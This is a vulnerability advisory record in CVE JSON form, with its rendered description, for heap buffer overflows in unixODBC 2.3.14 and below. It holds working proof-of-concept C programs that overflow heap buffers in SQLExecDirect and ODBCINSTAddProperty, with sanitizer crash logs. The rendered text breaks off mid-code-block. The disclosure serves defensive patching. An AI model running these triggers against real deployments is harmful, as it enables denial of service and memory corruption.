Description (en)
unixODBC versions 2.3.14 and below contain multiple heap buffer overflows, underflows, and over-reads. Attackers who
can influence various arguments passed thereto can trigger the heap-based buffer overflows inside of the unixODBC
driver manager itself, potentially corrupting the shared heap state across connections, crash the driver manager
(thereby causing denial of service conditions, multi-tenant data loss, and such related issues, depending on how the
calling information system leverages the library and is architected), information disclosure, and execute arbitrary
code, among other things. Importantly, the unixODBC was also found to contain race conditions, integer underflows,
double-free/use-after-free, null pointer dereference, stack buffer overflows, and numerous other issues. We may or may
not write those issues up, but this was all from a cursory glance through the code.
Examples
Sample Heap Buffer Overflows
While at least 8 different heap-based buffer overflows were discovered, the following serves as a blueprint to find
both the examples below and other instances.
SQLExecDirect's Unvalidated Caller-Supplied Length
When call tracing is enabled, `SQLExecDirect` allocates its trace-log buffer using the caller-supplied `text_length`,
doing so before verifying that the value is valid. Attackers that pass a negative, non-`SQL_NTS` value, as such, cause
a negative value to be sent to the `sprintf` call, which standard C treats as "no precision given", turning the call
into an unbounded `%s` of the full, attacker-controlled `statement_text` string, overflowing the buffer. Importantly,
this same mistake is made elsewhere, such as in `SQLPrepare`'s lines 185-189 which appears to be a copy-paste of the
offending code.
```c
SQLRETURN SQLExecDirect( SQLHSTMT statement_handle,
SQLCHAR *statement_text,
SQLINTEGER text_length )
{
DMHSTMT statement = (DMHSTMT) statement_handle;
SQLRETURN ret;
SQLCHAR *s1;
SQLCHAR s2[ 100 + LOG_MESSAGE_LEN ];
/*
* check statement
*/
if ( !__validate_stmt( statement ))
{
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
"Error: SQL_INVALID_HANDLE" );
return SQL_INVALID_HANDLE;
}
function_entry( statement );
if ( log_info.log_flag )
{
/*
* allocate some space for the buffer
*/
if ( statement_text && text_length == SQL_NTS )
{
s1 = malloc( strlen((char*) statement_text ) + LOG_MESSAGE_LEN );
}
else if ( statement_text )
{
s1 = malloc( text_length + LOG_MESSAGE_LEN );
}
else
{
s1 = malloc( LOG_MESSAGE_LEN );
}
sprintf( statement -> msg, "\n\t\tEntry:\
\n\t\t\tStatement = %p\
\n\t\t\tSQL = %s",
statement,
__string_with_length( s1, statement_text, text_length ));
free( s1 );
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
statement -> msg );
}
```
Snippet from `unixODBC`'s DriverManager/SQLExecDirect.c, lines 184-242
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sql.h>
#include <sqlext.h>
int main(void)
{
SQLHENV henv = SQL_NULL_HENV;
SQLHDBC hdbc = SQL_NULL_HDBC;
SQLHSTMT hstmt = SQL_NULL_HSTMT;
SQLRETURN rc;
SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);
SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);
SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc);
/* Enable the tracing */
SQLSetConnectAttr(hdbc, SQL_ATTR_TRACE, (SQLPOINTER)SQL_OPT_TRACE_ON, 0);
/* Connect so that a valid STMT handle can be allocated -- the
* overflow itself happens before any call reaches the driver. */
rc = SQLConnect(hdbc, (SQLCHAR*)"test", SQL_NTS,
(SQLCHAR*)"", SQL_NTS, (SQLCHAR*)"", SQL_NTS);
if (!SQL_SUCCEEDED(rc) && rc != SQL_SUCCESS_WITH_INFO) { return 2; }
SQLAllocHandle(SQL_HANDLE_STMT, hdbc, &hstmt);
/* Long, fully attacker-controlled SQL text. */
size_t biglen = 8192;
char *big_sql = malloc(biglen + 1);
memset(big_sql, 'A', biglen);
big_sql[biglen] = '\0';
/* Negative text_length != SQL_NTS(-3) -> malloc(-50+128)=78
* bytes, then __string_with_length's sprintf("%.*s", -50, ...)
* treats the negative precision as "no precision", copying the
* full 8192-byte string into the 78-byte buffer. */
SQLExecDirect(hstmt, (SQLCHAR*)big_sql, -50);
free(big_sql);
return 0;
}
```
Sample code to overflow the buffer
```text
SQLAllocHandle(ENV) rc=0
SQLAllocHandle(DBC) rc=0
SQLSetConnectAttr(SQL_ATTR_TRACE, ON) rc=0
SQLConnect("test") rc=0
SQLAllocHandle(STMT) rc=0
Calling SQLExecDirect with text_length=-50, statement_text len=8192
=================================================================
==1301501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000001f0e at pc 0x000000440c43 bp
0x7ffeee29bc20 sp 0x7ffeee29b3c0
WRITE of size 8209 at 0x607000001f0e thread T0
#0 0x440c42 in __interceptor_vsprintf ...
#1 0x441c37 in sprintf ...
#2 0x7fa07e8ac894 in __string_with_length DriverManager/__info.c
#3 0x7fa07e7ba507 in SQLExecDirect DriverManager/SQLExecDirect.c:235:17
#4 0x4dedd9 in main repro.c:87:10
...
0x607000001f0e is located 0 bytes to the right of 78-byte region [0x607000001ec0,0x607000001f0e)
allocated by thread T0 here:
#0 0x4a3492 in __interceptor_malloc ...
#1 0x7fa07e7ba4d1 in SQLExecDirect DriverManager/SQLExecDirect.c
#2 0x4dedd9 in main repro.c:87:10
...
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in __interceptor_vsprintf
==1301501==ABORTING
```
Output from AddressSanitizer
```text
==1301663== Invalid write of size 8
==1301663== at 0x4854166: mempcpy (vg_replace_strmem.c:1668)
==1301663== by 0x49843F7: _IO_default_xsputn (in /usr/lib64/libc.so.6)
==1301663== by 0x4960212: __vfprintf_internal (in /usr/lib64/libc.so.6)
==1301663== by 0x4978C23: __vsprintf_internal (in /usr/lib64/libc.so.6)
==1301663== by 0x495AFC7: sprintf (in /usr/lib64/libc.so.6)
==1301663== by 0x48BA2E5: __string_with_length (__info.c:3242)
==1301663== by 0x487AD7B: SQLExecDirect (SQLExecDirect.c:231)
==1301663== by 0x401404: main (repro.c:87)
==1301663== Address 0x4c78db1 is 8,033 bytes inside an unallocated block of size 2,711,952 in arena "client"
valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
valgrind: Heap block lo/hi size mismatch: lo = 144, hi = 4702111234474983745.
```
Output from Valgrind
ODBCINSTSetProperty's Unbounded Property Name/Value Copy
Per the code below, `ODBCINSTAddProperty()` allocates a fixed-size `ODBCINSTPROPERTY` structure and then copies the
caller-supplied `pszProperty` and `pszValue` `char[]`s into its `szName` and `szValue` fields without a `NULL` or
length check.
```c
int ODBCINSTAddProperty( HODBCINSTPROPERTY hFirstProperty, char *pszProperty, char *pszValue )
{
HODBCINSTPROPERTY hNew;
hNew =
(HODBCINSTPROPERTY)malloc( sizeof(ODBCINSTPROPERTY) );
memset(hNew, 0, sizeof(ODBCINSTPROPERTY));
hNew->nPromptType = ODBCINST_PROMPTTYPE_HIDDEN;
hNew->pNext = NULL;
hNew->bRefresh = 0;
hNew->hDLL = hFirstProperty->hDLL;
hNew->pWidget = NULL;
hNew->pszHelp = NULL;
hNew->aPromptData = NULL;
strcpy(hNew->szName, pszProperty );
strcpy( hNew->szValue, pszValue );
```
Code from `unixODBC`'s odbcinst/ODBCINSTSetProperty.c, lines 54-68
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <odbcinstext.h>
int main(void)
{
ODBCINSTPROPERTY head;
char *evil;
size_t n = 5000; /* > INI_MAX_PROPERTY_NAME/VALUE (1000) */
memset(&head, 0, sizeof(head));
strcpy(head.szName, "Driver"); /* seed list head so AddProperty can walk pNext */
head.pNext = NULL;
head.hDLL = NULL;
evil = malloc(n + 1);
memset(evil, 'A', n);
evil[n] = '\0';
fprintf(stderr, "calling ODBCINSTAddProperty with %zu-byte property name/value...\n", n);
/* pszProperty and pszValue are each 5000 bytes; hNew->szName/szValue
* (heap, inside a malloc(sizeof(ODBCINSTPROPERTY)) chunk) are only
* 1001 bytes each -> two separate heap overflows. */
ODBCINSTAddProperty(&head, evil, evil);
printf("reached end (heap likely corrupted)\n");
free(evil);
return 0;
}
```
Sample code to overflow the buffer
```text
calling ODBCINSTAddProperty with 5000-byte property name/value...
=================================================================
==1300489==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000000888 at pc 0x00000048d469 bp
0x7fffcabae780 sp 0x7fffcabadf48
WRITE of size 5001 at 0x61d000000888 thread T0
#0 0x48d468 in strcpy (repro_asan+0x48d468)
#1 0x7f10d0722e05 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:67:2
#2 0x4debdf in main repro.c:26:5
0x61d000000888 is located 0 bytes to the right of 2056-byte region [0x61d000000080,0x61d000000888)
allocated by thread T0 here:
#0 0x4a3452 in __interceptor_malloc (repro_asan+0x4a3452)
#1 0x7f10d0722bf5 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:58:33
#2 0x4debdf in main repro.c:26:5
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in strcpy
==1300489==ABORTING
```
Output from AddressSanitizer
```text
calling ODBCINSTAddProperty with 5000-byte property name/value...
==1300550== Invalid write of size 1
==1300550== at 0x484C75C: strcpy (vg_replace_strmem.c:553)
==1300550== by 0x485F2CC: ODBCINSTAddProperty (ODBCINSTSetProperty.c:67)
==1300550== by 0x40123D: main (repro.c:26)
==1300550== Address 0x4a94c18 is 0 bytes after a block of size 2,056 alloc'd
==1300550== at 0x484686F: malloc (vg_replace_malloc.c:381)
==1300550== by 0x485F231: ODBCINSTAddProperty (ODBCINSTSetProperty.c:58)
==1300550== by 0x40123D: main (repro.c:26)
valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
valgrind: Heap block lo/hi size mismatch: lo = 2128, hi = 4702111234474983745.
This is probably caused by your program erroneously writing past the
end of a heap block and corrupting heap metadata.
```
Output from Valgrind Memcheck
Template Driver's SQLConnect Unchecked Copy
The template driver provides sample/boilerplate Structured Query Language (SQL) connect code, but this code does not
perform input validation against the upstream data source `char[]`, allowing an overflow on the corresponding `sprintf`
call while creating what is supposed to be a diagnostic message pending the connection attempt. The length of the data
sources (`szDataSource`) isn't checked until after the overflow has already occurred -- via `( strlen((char*)
szDataSource ) > ODBC_FILENAME_MAX+INI_MAX_OBJECT_NAME` -- but even this check is incorrect because `szSqlMsg` is only
1024-bytes and the maths above allows thousands more bytes than that. Importantly, the `MiniSQL` sample driver's
`SQLConnect` contains the same issue caused by the same faulty ordering, logic, and lack of verification. This example
and the MiniSQL example mentioned herein only really matter if the sample/boilerplate code is leveraged by a library
but should be fixed since such code is supposed to aid developers.
```c
SQRaw JSON
{
"containers": {
"cna": {
"affected": [
{
"product": "<=2.3.14",
"vendor": "Unixodbc",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "unixODBC versions 2.3.14 and below contain multiple heap buffer overflows, underflows, and over-reads. Attackers who \ncan influence various arguments passed thereto can trigger the heap-based buffer overflows inside of the unixODBC \ndriver manager itself, potentially corrupting the shared heap state across connections, crash the driver manager \n(thereby causing denial of service conditions, multi-tenant data loss, and such related issues, depending on how the \ncalling information system leverages the library and is architected), information disclosure, and execute arbitrary \ncode, among other things. Importantly, the unixODBC was also found to contain race conditions, integer underflows, \ndouble-free/use-after-free, null pointer dereference, stack buffer overflows, and numerous other issues. We may or may \nnot write those issues up, but this was all from a cursory glance through the code.\n\nExamples\nSample Heap Buffer Overflows\nWhile at least 8 different heap-based buffer overflows were discovered, the following serves as a blueprint to find \nboth the examples below and other instances.\n\nSQLExecDirect's Unvalidated Caller-Supplied Length\nWhen call tracing is enabled, `SQLExecDirect` allocates its trace-log buffer using the caller-supplied `text_length`, \ndoing so before verifying that the value is valid. Attackers that pass a negative, non-`SQL_NTS` value, as such, cause \na negative value to be sent to the `sprintf` call, which standard C treats as \"no precision given\", turning the call \ninto an unbounded `%s` of the full, attacker-controlled `statement_text` string, overflowing the buffer. Importantly, \nthis same mistake is made elsewhere, such as in `SQLPrepare`'s lines 185-189 which appears to be a copy-paste of the \noffending code.\n\n```c\nSQLRETURN SQLExecDirect( SQLHSTMT statement_handle,\n SQLCHAR *statement_text,\n SQLINTEGER text_length )\n{\n DMHSTMT statement = (DMHSTMT) statement_handle;\n SQLRETURN ret;\n SQLCHAR *s1;\n SQLCHAR s2[ 100 + LOG_MESSAGE_LEN ];\n\n /*\n * check statement\n */\n\n if ( !__validate_stmt( statement ))\n {\n dm_log_write( __FILE__,\n __LINE__,\n LOG_INFO,\n LOG_INFO,\n \"Error: SQL_INVALID_HANDLE\" );\n\n return SQL_INVALID_HANDLE;\n }\n\n function_entry( statement );\n\n if ( log_info.log_flag )\n {\n /*\n * allocate some space for the buffer\n */\n\n if ( statement_text && text_length == SQL_NTS )\n {\n s1 = malloc( strlen((char*) statement_text ) + LOG_MESSAGE_LEN );\n }\n else if ( statement_text )\n {\n s1 = malloc( text_length + LOG_MESSAGE_LEN );\n }\n else\n {\n s1 = malloc( LOG_MESSAGE_LEN );\n }\n\n sprintf( statement -> msg, \"\\n\\t\\tEntry:\\\n\\n\\t\\t\\tStatement = %p\\\n\\n\\t\\t\\tSQL = %s\",\n statement,\n __string_with_length( s1, statement_text, text_length ));\n\n free( s1 );\n\n dm_log_write( __FILE__,\n __LINE__,\n LOG_INFO,\n LOG_INFO,\n statement -> msg );\n }\n```\nSnippet from `unixODBC`'s DriverManager/SQLExecDirect.c, lines 184-242\n\n```c\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sql.h>\n#include <sqlext.h>\n\nint main(void)\n{\n SQLHENV henv = SQL_NULL_HENV;\n SQLHDBC hdbc = SQL_NULL_HDBC;\n SQLHSTMT hstmt = SQL_NULL_HSTMT;\n SQLRETURN rc;\n\n SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);\n SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);\n SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc);\n\n /* Enable the tracing */\n SQLSetConnectAttr(hdbc, SQL_ATTR_TRACE, (SQLPOINTER)SQL_OPT_TRACE_ON, 0);\n\n /* Connect so that a valid STMT handle can be allocated -- the\n * overflow itself happens before any call reaches the driver. */\n rc = SQLConnect(hdbc, (SQLCHAR*)\"test\", SQL_NTS,\n (SQLCHAR*)\"\", SQL_NTS, (SQLCHAR*)\"\", SQL_NTS);\n if (!SQL_SUCCEEDED(rc) && rc != SQL_SUCCESS_WITH_INFO) { return 2; }\n SQLAllocHandle(SQL_HANDLE_STMT, hdbc, &hstmt);\n\n /* Long, fully attacker-controlled SQL text. */\n size_t biglen = 8192;\n char *big_sql = malloc(biglen + 1);\n memset(big_sql, 'A', biglen);\n big_sql[biglen] = '\\0';\n\n /* Negative text_length != SQL_NTS(-3) -> malloc(-50+128)=78\n * bytes, then __string_with_length's sprintf(\"%.*s\", -50, ...)\n * treats the negative precision as \"no precision\", copying the\n * full 8192-byte string into the 78-byte buffer. */\n SQLExecDirect(hstmt, (SQLCHAR*)big_sql, -50);\n\n free(big_sql);\n return 0;\n}\n```\nSample code to overflow the buffer\n\n```text\nSQLAllocHandle(ENV) rc=0\nSQLAllocHandle(DBC) rc=0\nSQLSetConnectAttr(SQL_ATTR_TRACE, ON) rc=0\nSQLConnect(\"test\") rc=0\nSQLAllocHandle(STMT) rc=0\nCalling SQLExecDirect with text_length=-50, statement_text len=8192\n=================================================================\n==1301501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000001f0e at pc 0x000000440c43 bp \n0x7ffeee29bc20 sp 0x7ffeee29b3c0\nWRITE of size 8209 at 0x607000001f0e thread T0\n #0 0x440c42 in __interceptor_vsprintf ...\n #1 0x441c37 in sprintf ...\n #2 0x7fa07e8ac894 in __string_with_length DriverManager/__info.c\n #3 0x7fa07e7ba507 in SQLExecDirect DriverManager/SQLExecDirect.c:235:17\n #4 0x4dedd9 in main repro.c:87:10\n...\n0x607000001f0e is located 0 bytes to the right of 78-byte region [0x607000001ec0,0x607000001f0e)\nallocated by thread T0 here:\n #0 0x4a3492 in __interceptor_malloc ...\n #1 0x7fa07e7ba4d1 in SQLExecDirect DriverManager/SQLExecDirect.c\n #2 0x4dedd9 in main repro.c:87:10\n...\nSUMMARY: AddressSanitizer: heap-buffer-overflow ... in __interceptor_vsprintf\n==1301501==ABORTING\n```\nOutput from AddressSanitizer\n\n```text\n==1301663== Invalid write of size 8\n==1301663== at 0x4854166: mempcpy (vg_replace_strmem.c:1668)\n==1301663== by 0x49843F7: _IO_default_xsputn (in /usr/lib64/libc.so.6)\n==1301663== by 0x4960212: __vfprintf_internal (in /usr/lib64/libc.so.6)\n==1301663== by 0x4978C23: __vsprintf_internal (in /usr/lib64/libc.so.6)\n==1301663== by 0x495AFC7: sprintf (in /usr/lib64/libc.so.6)\n==1301663== by 0x48BA2E5: __string_with_length (__info.c:3242)\n==1301663== by 0x487AD7B: SQLExecDirect (SQLExecDirect.c:231)\n==1301663== by 0x401404: main (repro.c:87)\n==1301663== Address 0x4c78db1 is 8,033 bytes inside an unallocated block of size 2,711,952 in arena \"client\"\n\nvalgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.\nvalgrind: Heap block lo/hi size mismatch: lo = 144, hi = 4702111234474983745.\n```\nOutput from Valgrind\n\nODBCINSTSetProperty's Unbounded Property Name/Value Copy\nPer the code below, `ODBCINSTAddProperty()` allocates a fixed-size `ODBCINSTPROPERTY` structure and then copies the \ncaller-supplied `pszProperty` and `pszValue` `char[]`s into its `szName` and `szValue` fields without a `NULL` or \nlength check.\n\n```c\nint ODBCINSTAddProperty( HODBCINSTPROPERTY hFirstProperty, char *pszProperty, char *pszValue )\n{\n HODBCINSTPROPERTY hNew;\n\n hNew = \n(HODBCINSTPROPERTY)malloc( sizeof(ODBCINSTPROPERTY) );\n memset(hNew, 0, sizeof(ODBCINSTPROPERTY));\n hNew->nPromptType = ODBCINST_PROMPTTYPE_HIDDEN;\n hNew->pNext = NULL;\n hNew->bRefresh = 0;\n hNew->hDLL = hFirstProperty->hDLL;\n hNew->pWidget = NULL;\n hNew->pszHelp = NULL;\n hNew->aPromptData = NULL;\n strcpy(hNew->szName, pszProperty );\n strcpy( hNew->szValue, pszValue );\n```\nCode from `unixODBC`'s odbcinst/ODBCINSTSetProperty.c, lines 54-68\n\n```c\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <odbcinstext.h>\n\nint main(void)\n{\n ODBCINSTPROPERTY head;\n char *evil;\n size_t n = 5000; /* > INI_MAX_PROPERTY_NAME/VALUE (1000) */\n\n memset(&head, 0, sizeof(head));\n strcpy(head.szName, \"Driver\"); /* seed list head so AddProperty can walk pNext */\n head.pNext = NULL;\n head.hDLL = NULL;\n\n evil = malloc(n + 1);\n memset(evil, 'A', n);\n evil[n] = '\\0';\n\n fprintf(stderr, \"calling ODBCINSTAddProperty with %zu-byte property name/value...\\n\", n);\n\n /* pszProperty and pszValue are each 5000 bytes; hNew->szName/szValue\n * (heap, inside a malloc(sizeof(ODBCINSTPROPERTY)) chunk) are only\n * 1001 bytes each -> two separate heap overflows. */\n ODBCINSTAddProperty(&head, evil, evil);\n\n printf(\"reached end (heap likely corrupted)\\n\");\n free(evil);\n return 0;\n}\n```\nSample code to overflow the buffer\n\n```text\ncalling ODBCINSTAddProperty with 5000-byte property name/value...\n=================================================================\n==1300489==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000000888 at pc 0x00000048d469 bp \n0x7fffcabae780 sp 0x7fffcabadf48\nWRITE of size 5001 at 0x61d000000888 thread T0\n #0 0x48d468 in strcpy (repro_asan+0x48d468)\n #1 0x7f10d0722e05 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:67:2\n #2 0x4debdf in main repro.c:26:5\n0x61d000000888 is located 0 bytes to the right of 2056-byte region [0x61d000000080,0x61d000000888)\nallocated by thread T0 here:\n #0 0x4a3452 in __interceptor_malloc (repro_asan+0x4a3452)\n #1 0x7f10d0722bf5 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:58:33\n #2 0x4debdf in main repro.c:26:5\nSUMMARY: AddressSanitizer: heap-buffer-overflow ... in strcpy\n==1300489==ABORTING\n```\nOutput from AddressSanitizer\n\n```text\ncalling ODBCINSTAddProperty with 5000-byte property name/value...\n==1300550== Invalid write of size 1\n==1300550== at 0x484C75C: strcpy (vg_replace_strmem.c:553)\n==1300550== by 0x485F2CC: ODBCINSTAddProperty (ODBCINSTSetProperty.c:67)\n==1300550== by 0x40123D: main (repro.c:26)\n==1300550== Address 0x4a94c18 is 0 bytes after a block of size 2,056 alloc'd\n==1300550== at 0x484686F: malloc (vg_replace_malloc.c:381)\n==1300550== by 0x485F231: ODBCINSTAddProperty (ODBCINSTSetProperty.c:58)\n==1300550== by 0x40123D: main (repro.c:26)\nvalgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.\nvalgrind: Heap block lo/hi size mismatch: lo = 2128, hi = 4702111234474983745.\nThis is probably caused by your program erroneously writing past the\nend of a heap block and corrupting heap metadata.\n```\nOutput from Valgrind Memcheck\n\nTemplate Driver's SQLConnect Unchecked Copy\nThe template driver provides sample/boilerplate Structured Query Language (SQL) connect code, but this code does not \nperform input validation against the upstream data source `char[]`, allowing an overflow on the corresponding `sprintf` \ncall while creating what is supposed to be a diagnostic message pending the connection attempt. The length of the data \nsources (`szDataSource`) isn't checked until after the overflow has already occurred -- via `( strlen((char*) \nszDataSource ) > ODBC_FILENAME_MAX+INI_MAX_OBJECT_NAME` -- but even this check is incorrect because `szSqlMsg` is only \n1024-bytes and the maths above allows thousands more bytes than that. Importantly, the `MiniSQL` sample driver's \n`SQLConnect` contains the same issue caused by the same faulty ordering, logic, and lack of verification. This example \nand the MiniSQL example mentioned herein only really matter if the sample/boilerplate code is leveraged by a library \nbut should be fixed since such code is supposed to aid developers.\n\n```c\nSQ"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T04:38:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/8"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/8"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/8"
],
"discovery": "EXTERNAL"
},
"title": "unixODBC <=2.3.14 Multiple Heap Buffer Overflows, Underflows, and Over-Reads",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0548",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/8",
"automated": true,
"contentSha256": "4cafbee5f66f0cc90cd6cab56be32adbedde5106fd136ce689dab1c90100ac1b",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/8",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-04T00:40:34Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-05T04:38:41Z",
"dateUpdated": "2026-11-05T04:38:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0548"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}